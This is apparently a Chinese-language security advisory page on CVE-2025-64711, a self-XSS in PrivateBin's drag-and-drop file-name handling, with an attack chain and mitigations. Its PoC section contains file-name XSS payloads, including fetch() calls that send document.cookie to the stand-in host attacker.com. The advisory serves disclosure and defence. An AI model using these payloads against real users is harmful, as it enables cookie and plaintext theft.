IPBUF安全漏洞报告
English
CVE-2025-64711 CVSS 3.9 低危

CVE-2025-64711: PrivateBin拖拽文件自我XSS漏洞

披露日期: 2025-11-13

漏洞信息

漏洞编号
CVE-2025-64711
漏洞类型
Self-XSS(自我跨站脚本攻击)
CVSS评分
3.9 低危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
PrivateBin

相关标签

Self-XSS跨站脚本攻击PrivateBin文件上传漏洞HTML注入拖拽功能漏洞零知识架构绕过

漏洞概述

PrivateBin是一款开源的零知识在线粘贴板服务,服务器对粘贴数据没有任何知情权。然而在1.7.7版本至2.0.3之前的版本中,存在一个自我XSS漏洞。当用户拖拽一个文件名包含HTML代码的文件到PrivateBin编辑器时,HTML内容会被完整反射到页面中,导致在用户自己的会话中执行任意JavaScript代码。由于这是Self-XSS攻击,恶意代码仅在受害者自己的浏览器会话中执行,不会持久化或远程执行。攻击者需要诱骗受害者主动拖拽或附加带有恶意文件名的文件到PrivateBin。该漏洞仅影响macOS或Linux用户,因为Windows系统对文件名中的">"字符处理方式不同。攻击成功后可窃取明文、密码短语或在数据加密前操纵UI,从而在受害者会话中破坏PrivateBin的零知识保证。

技术细节

漏洞根源在于PrivateBin的拖拽功能对文件名缺少适当的HTML转义处理。当用户拖拽文件名包含HTML标签的文件(如test.html或<script>alert(1)</script>.txt)到编辑器时,程序直接将该文件名作为HTML内容插入到DOM中,而没有进行HTML实体编码。浏览器会将这些文件名中的HTML标签解析为实际代码并执行。攻击流程:1)攻击者创建一个文件名包含恶意JavaScript的文件;2)诱骗受害者在macOS或Linux系统上将该文件拖入PrivateBin编辑器;3)PrivateBin将文件名反射到页面;4)浏览器执行注入的JavaScript代码。由于PrivateBin的零知识架构,数据在发送前会被加密,但如果攻击代码在加密前执行,就能在数据被加密之前窃取明文内容。修复方案是在显示文件名时对特殊字符进行HTML编码,转义<、>、"、'、&等字符。

攻击链分析

STEP 1
步骤1
攻击者创建恶意文件名:构造包含HTML/JavaScript代码的文件名,如<script>alert('XSS')</script>.txt
STEP 2
步骤2
攻击者通过社交工程手段诱骗受害者在macOS或Linux系统上获取该恶意文件
STEP 3
步骤3
攻击者诱导受害者将恶意文件拖入PrivateBin编辑器或通过附件功能添加该文件
STEP 4
步骤4
PrivateBin将文件名未经过滤地反射到页面DOM中
STEP 5
步骤5
浏览器解析文件名中的HTML标签,执行注入的JavaScript代码
STEP 6
步骤6
恶意代码在受害者会话中执行,可窃取明文数据、密码短语或操纵UI

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC: Create a file with HTML-containing filename // On Linux/macOS: touch '<script>fetch("https://attacker.com/steal?data="+document.cookie)</script>.txt' // Or use this Python script to create the malicious file: import os filename = '<img src=x onerror="fetch(\'https://attacker.com/steal?data=\'+document.cookie)">' with open(filename, 'w') as f: f.write('malicious content') // The file can be named with various XSS payloads: // <script>alert(document.domain)</script> // <img src=x onerror=alert(1)> // <svg/onload=alert(1)> // <iframe src="javascript:alert(1)"> // When user drags this file to PrivateBin editor, the filename // gets reflected verbatim, causing XSS execution in user's session.

影响范围

PrivateBin >= 1.7.7, < 2.0.3

防御指南

临时缓解措施
临时缓解措施:1)禁用PrivateBin的文件上传功能;2)启用严格的Content-Security-Policy头部;3)提醒macOS/Linux用户不要轻易拖拽来源不明的文件到PrivateBin;4)考虑在文件名前添加前缀或自动重命名上传的文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表